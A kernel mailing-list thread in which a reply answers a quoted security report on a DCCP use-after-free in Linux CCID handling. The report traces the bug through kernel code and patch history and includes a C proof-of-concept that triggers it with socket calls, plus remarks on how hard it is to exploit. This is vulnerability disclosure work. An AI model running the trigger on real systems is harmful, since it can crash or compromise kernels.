Subject: Re: DCCP Bug report

From: Dan Carpenter <[email-masked]>
Date: Sat, 20 Jun 2020 20:34:38 +0300

This one is already publicly known because syzbot discovered it last
November.  I have added netdev to the CC list.  Unfortunately, DCCP
seems orphaned.

https://lore.kernel.org/lkml/20191121201433.GD617@kadam/

regards,
dan carpenter

On Fri, Jun 19, 2020 at 05:59:58PM -0300, Leonardo Almiñana wrote:
> A similar bug to CVE-2017-8824 has been (RE)introduced in the Linux kernel.
> 
> When a DCCP socket connection happens one of the functions called is
> dccp_hdlr_ccid.
> 
> static int dccp_hdlr_ccid(struct sock *sk, u64 ccid, bool rx)
> {
>     struct dccp_sock *dp = dccp_sk(sk);
>     struct ccid *new_ccid = ccid_new(ccid, sk, rx);
> 
>     if (new_ccid == NULL)
>         return -ENOMEM;
> 
>     if (rx) {
>         ccid_hc_rx_delete(dp->dccps_hc_rx_ccid, sk);
>         dp->dccps_hc_rx_ccid = new_ccid;
>     } else {
>         ccid_hc_tx_delete(dp->dccps_hc_tx_ccid, sk);
>         dp->dccps_hc_tx_ccid = new_ccid;
>     }
>     return 0;
> }
> 
> The function allocates a new CCID and assigns it to the sock.
> * If an old CCID is found then it's deleted.
> 
> void ccid_hc_rx_delete(struct ccid *ccid, struct sock *sk)
> {
>     if (ccid != NULL) {
>         if (ccid->ccid_ops->ccid_hc_rx_exit != NULL)
>             ccid->ccid_ops->ccid_hc_rx_exit(sk);
>         kmem_cache_free(ccid->ccid_ops->ccid_hc_rx_slab, ccid);
>     }
> }
> 
> void ccid_hc_tx_delete(struct ccid *ccid, struct sock *sk)
> {
>     if (ccid != NULL) {
>         if (ccid->ccid_ops->ccid_hc_tx_exit != NULL)
>             ccid->ccid_ops->ccid_hc_tx_exit(sk);
>         kmem_cache_free(ccid->ccid_ops->ccid_hc_tx_slab, ccid);
>     }
> }
> 
> When the socket is disconnected dccp_disconnect is invoked, this function
> leaves dp->dccps_hc_tx_ccid unaltered.
> 
> It is possible to copy the socket including dangling references. To
> accomplish
> it the socket has to be put into LISTEN state.
> 
> struct sock *dccp_create_openreq_child(const struct sock *sk,
>                        const struct request_sock *req,
>                        const struct sk_buff *skb)
> {
>     /*
>     * Step 3: Process LISTEN state
>     *
>     * (* Generate a new socket and switch to that socket *)
>     * Set S := new socket for this port pair
>     */
> 
>     struct sock *newsk = inet_csk_clone_lock(sk, req, GFP_ATOMIC);
> 
>     [...]
> 
>     /*
>     * Activate features: initialise CCIDs, sequence windows etc.
>     */
>     if (dccp_feat_activate_values(newsk, &dreq->dreq_featneg)) {
>         sk_free_unlock_clone(newsk);
>         return NULL;
>     }
> 
>     [...]
> }
> 
> The call to inet_csk_clone_lock allocates a new socket and
> the contents of sk are copied to newsk. Next dccp_feat_activate_values gets
> called, which ends up calling dccp_hdlr_ccid.
> 
> Since the copy contains a non-NULL pointer ccid_hc_tx_delete will be called
> to
> destroy the CCID object while the source socket is still holding references
> to
> it. The UAF can be triggered by operating over the CCIDs from the original
> sock
> after the child sock has freed it.
> 
> 
> Original patch that "fixed" CVE-2017-8824:
> https://github.com/torvalds/linux/commit/69c64866ce072dea1d1e59a0d61e0f66c0dffb76
> 
> The patch was broken as it can been seen the following commit:
> https://github.com/torvalds/linux/commit/67f93df79aeefc3add4e4b31a752600f834236e2
> 
> Things were still broken, so ccid_hc_tx_delete was removed :
> https://github.com/torvalds/linux/commit/2677d20677314101293e6da0094ede7b5526d2b1
> 
> The last patch leaves things almost exactly as they were with CVE-2017-8824.
> The difference is that now only TX is affected, making exploitation harder
> for
> the following reasons:
>     - RX's size made it easy to produce kmalloc block collisions, with TX
> it isn't.
>     - The actual freeing of the object is deferred and might happen in a
> different
>       context because of RCU.
> 
> 
> Proof of Concept
> ================
> 
> #include <stdio.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
> 
> 
> int main(int argc, char *argv[])
> {
>     struct sockaddr_in in1 =
>     {
>         .sin_family = AF_INET,
>         .sin_port = 0xaaaa
>     };
> 
>     struct sockaddr_in in2 =
>     {
>         .sin_family = AF_INET,
>         .sin_port = 0xbbbb
>     };
> 
>     struct sockaddr_in in3 = { 0 };
> 
>     int fd1 = socket(PF_INET, SOCK_DCCP, 0);
>     int fd2 = socket(PF_INET, SOCK_DCCP, 0);
> 
>     bind(fd1, (struct sockaddr*)&in1, sizeof(in1));
>     listen(fd1, 1);
>     connect(fd2, (struct sockaddr*)&in1, sizeof(in1));
>     connect(fd1, (struct sockaddr*)&in3, sizeof(in3));
>     connect(fd2, (struct sockaddr*)&in3, sizeof(in3));
>     bind(fd2, (struct sockaddr*)&in2, sizeof(in2));
>     listen(fd2, 1);
>     connect(fd1, (struct sockaddr*)&in2, sizeof(in2));
>     close(fd1);
>     close(fd2);
> 
>     return 0;
> }
> 
> ### ### ### ### ### ### ### ### ### ### ### ### ###
> 
> Please use my company email for any future communications, I was forced to
> use this one at the moment because your MTA refuses to accept the email
> from our provider (zoho) due to a spamcop related issue.
> 
> [email-masked]
> 
> Regards.
> 
> Leonardo Almiñana
> Tacito Security